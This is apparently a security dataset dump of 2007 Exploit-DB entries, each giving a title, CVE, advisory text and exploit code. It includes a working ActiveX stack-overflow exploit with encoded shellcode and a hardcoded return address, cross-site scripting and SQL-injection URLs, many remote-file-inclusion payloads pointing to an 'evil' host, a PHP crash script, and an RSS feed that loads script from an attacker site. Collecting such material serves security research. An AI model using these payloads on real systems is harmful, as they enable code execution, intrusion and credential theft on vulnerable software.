QLWD/code_shield huggingface dataset:
标题: EasyMail Objects 6.x - Connect Method Remote Stack Buffer Overflow EDB-ID: 29607 CVE: 2007-1029 类型: DOS 平台: WINDOWS 发布日期: 2007-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/22583/info

EasyMail Objects is prone to a remote stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data prior to copying it to an insufficiently sized buffer.

An attacker can leverage this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

Versions prior to EasyMail Objects 6.5 are vulnerable.
Spam Inspector 4.0.354 is vulnerable. 

<html> <head> <title>Quiksoft EasyMail 6.0.3.0 imap connect() stack overflow</title> <script language="JavaScript" defer> function Check() { var buf = 'A'; while (buf.length <= 440) buf = buf + 'A'; // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" + "%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" + "%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" + "%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" + "%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" + "%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" + "%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" + "%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" + "%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" + "%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" + "%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" + "%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" + "%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" + "%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" + "%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" + "%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" + "%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" + "%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" + "%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" + "%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" + "%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" + "%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" + "%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" + "%4e%31%75%74%38%70%65%77%70%43"); var eip = unescape("%0F%DD%17%7D"); // Windows XP SP2 English var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90"); var m = buf + eip + nop + shellcode1 + nop; obj.connect(m); } </script> </head> <body onload="JavaScript: return Check();"> <object id="obj" classid="clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D"> Failed to instantiate object. </object> </body> </html> URL: https://www.exploit-db.com/exploits/29607
标题: Fullaspsite ASP Hosting Site - 'listmain.asp?cat' SQL Injection EDB-ID: 29601 CVE: 2007-0951 类型: WEBAPPS 平台: ASP 发布日期: 2007-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/22545/info

Fullaspsite Shop is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/ScriptPath/listmain.asp?cat=[ SqL Code ] URL: https://www.exploit-db.com/exploits/29601
标题: Community Server - 'SearchResults.aspx' Cross-Site Scripting EDB-ID: 29597 CVE: 2007-0925 类型: WEBAPPS 平台: ASP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22529/info

Community Server is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/path/search/SearchResults.aspx?q=%22%3e%3cscript%3ealert(%27bl4ck%27)%3c%2fscript%3e&o=Relevance URL: https://www.exploit-db.com/exploits/29597
标题: WebTester 5.0.20060927 - 'typeID' SQL Injection EDB-ID: 29602 CVE: 2007-0970 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/22559/info

WebTester is prone to multiple input-validation issues, including multiple cross-site scripting and multiple SQL-injection issues, because the application fails to properly sanitize user-supplied input.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

WebTester 5.0.20060927 and prior versions are vulnerable. 

http://www.example.com/webtester/directions.php?testID=\' URL: https://www.exploit-db.com/exploits/29602
标题: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/wordfilter.php?Admin' Remote File Inclusion EDB-ID: 29593 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
               
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
               
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
               
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/wordfilter.php?admin=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29593
标题: TaskFreak! 0.5.5 - 'error.php' Cross-Site Scripting EDB-ID: 29599 CVE: 2007-0982 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/22537/info

TaskFreak! is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

TaskFreak! 0.5.5 multiuser edition is reportedly vulnerable; other versions may be affected as well. 

http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/29599
标题: WordPress Core 1.x/2.0.x - 'Templates.php' Cross-Site Scripting EDB-ID: 29598 CVE: 2007-1049 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22534/info

WordPress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wordpress/wp-admin/templates.php?action=update&file=<script>alert("Faille Xss")</script>&submit=Update+File+%C2%BB URL: https://www.exploit-db.com/exploits/29598
标题: Fullaspsite ASP Hosting Site - 'listmain.asp?cat' Cross-Site Scripting EDB-ID: 29600 CVE: 2007-0950 类型: WEBAPPS 平台: ASP 发布日期: 2007-02-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/22545/info

Fullaspsite Shop is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible. 

http://www.example.com/ScriptPath/listmain.asp?cat=<script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/29600
标题: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/updatefilter.php?Admin' Remote File Inclusion EDB-ID: 29592 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
              
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
              
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
              
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/updatefilter.php?admin=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29592
标题: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/verify.php?configpath' Remote File Inclusion EDB-ID: 29588 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
          
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
          
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
          
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/verify.php?configpath=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29588
标题: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/editTagmin.php?configpath' Remote File Inclusion EDB-ID: 29585 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
       
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
       
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/editTagmin.php?configpath=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29585
标题: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/updateconf.php?Admin' Remote File Inclusion EDB-ID: 29591 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
             
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
             
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
             
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/updateconf.php?admin=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29591
标题: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/delTag.php?configpath' Remote File Inclusion EDB-ID: 29584 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
      
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
      
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/delTag.php?configpath=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29584
标题: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/ban_watch.php?configpath' Remote File Inclusion EDB-ID: 29582 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
    
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/ban_watch.phpp?configpath=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29582
标题: Tagit! Tagit2b 2.1.B Build 2 - 'tag_process.php' Multiple Remote File Inclusions EDB-ID: 29579 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
 
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tag_process.php?configpath=http://example2.com/evil?
http://www.example.com/[TagIt_path]/tag_process.php?adminpath=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29579
标题: Tagit! Tagit2b 2.1.B Build 2 - '/CONFIG/errmsg.inc.php?configpath' Remote File Inclusion EDB-ID: 29580 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
  
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/CONFIG/errmsg.inc.php?configpath=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29580
标题: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/editTag.php?configpath' Remote File Inclusion EDB-ID: 29586 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
        
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
        
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/editTag.php?configpath=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29586
标题: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/index.php?adminpath' Remote File Inclusion EDB-ID: 29589 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
           
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
           
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
           
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/index.php?adminpath=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29589
标题: Tagit! Tagit2b 2.1.B Build 2 - 'tagviewer.php' Multiple Remote File Inclusions EDB-ID: 29578 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info

TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagviewer.php?configpath=http://example2.com/evil?
http://www.example.com/[TagIt_path]/tagviewer.php?adminpath=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29578
标题: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/delTagmin.php?configpath' Remote File Inclusion EDB-ID: 29583 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
     
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/delTagmin.php?configpath=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29583
标题: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/manageTagmins.php?configpath' Remote File Inclusion EDB-ID: 29587 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
         
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
         
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
         
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/manageTagmins.php?configpath=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29587
标题: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/readconf.php?Admin' Remote File Inclusion EDB-ID: 29590 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
            
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
            
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
            
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/readconf.php?admin=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29590
标题: Tagit! Tagit2b 2.1.B Build 2 - '/tagmin/addTagmin.php?configpath' Remote File Inclusion EDB-ID: 29581 CVE: 2007-0900 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/22518/info
   
TagIt! TagBoard is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
TagBoard 2.1.b Build 2 and prior versions are vulnerable. 

http://www.example.com/[TagIt_path]/tagmin/addTagmin.php?configpath=http://example2.com/evil? URL: https://www.exploit-db.com/exploits/29581
标题: PHP 5.2.1 - STR_IReplace Remote Denial of Service EDB-ID: 29577 CVE: 2007-0911 类型: DOS 平台: PHP 发布日期: 2007-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/22505/info

PHP is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.

An attacker who can run PHP code on a vulnerable computer may exploit this vulnerability to crash PHP and the webserver, denying service to legitimate users.

This issue affects PHP 5.2.1; other versions may also be vulnerable. 

<?
   $Data = "Change tracking and management software designed to watch 
for abnormal system behavior.\nSuggest features, report bugs, or ask 
questions here.";
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
   $Data = str_ireplace("\r\n", "<br>", $Data);
   $Data = str_ireplace("\n", "<br>", $Data);
?> URL: https://www.exploit-db.com/exploits/29577
标题: cPanel 11 - PassWDMySQL Cross-Site Scripting EDB-ID: 29572 CVE: 2007-0890 类型: WEBAPPS 平台: PHP 发布日期: 2007-02-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/22474/info

cPanel is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

cPanel 11.0.0 and prior versions are vulnerable to this issue. 

http://www.example.com/scripts/passwdmysql?password=[xss]&user=root&submit=Change+Password URL: https://www.exploit-db.com/exploits/29572
标题: Atlassian JIRA 3.7.3 - BrowseProject.JSPA Cross-Site Scripting EDB-ID: 29576 CVE: 2007-0885 类型: WEBAPPS 平台: JSP 发布日期: 2007-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/22503/info

Atlassian JIRA is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/jira/secure/BrowseProject.jspa?id="><script>alert('XSS')</script> URL: https://www.exploit-db.com/exploits/29576
标题: Plain Old WebServer 0.0.7/0.0.8 Firefox Extension - Directory Traversal EDB-ID: 29575 CVE: 2007-0872 类型: REMOTE 平台: WINDOWS 发布日期: 2006-09-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/22502/info

Plain Old Webserver is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks.

Version 0.0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/../../../../[file] URL: https://www.exploit-db.com/exploits/29575
标题: Adobe ColdFusion 6/7 - User_Agent Error Page Cross-Site Scripting EDB-ID: 29567 CVE: 2007-0817 类型: WEBAPPS 平台: CFM 发布日期: 2007-02-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/22401/info

Adobe ColdFusion is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker could exploit this vulnerability to execute arbitrary script code in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/&USER_AGENT=%3Cscript%3Ealert(String.fromCharCode(120,115,115))%3C/s> cript%3E&HTTP_REFERER=http://www.google.com/ URL: https://www.exploit-db.com/exploits/29567
标题: Sage 1.3.6 - Extension Feed HTML Injection EDB-ID: 29573 CVE: 2007-0896 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/22493/info

Sage Extension Feed is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Hostile HTML and script code may be injected into vulnerable sections of the application. When viewed, this code may be rendered in the browser of a user viewing a malicious RSS feed.

Sage Extension Feed 1.3.9 is vulnerable to this issue; prior versions may also be affected. 

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"


<channel>
<title>test</title>
<link>http://www.example.com/</link>
<description>test</description>
<item>
<title>test</title>
<content:encoded><![CDATA[
<SCRIPT/=''SRC='http://atackersite/xss.js'></SCRIPT>
]]>
</content:encoded>
</item>
</channel>
</rss> URL: https://www.exploit-db.com/exploits/29573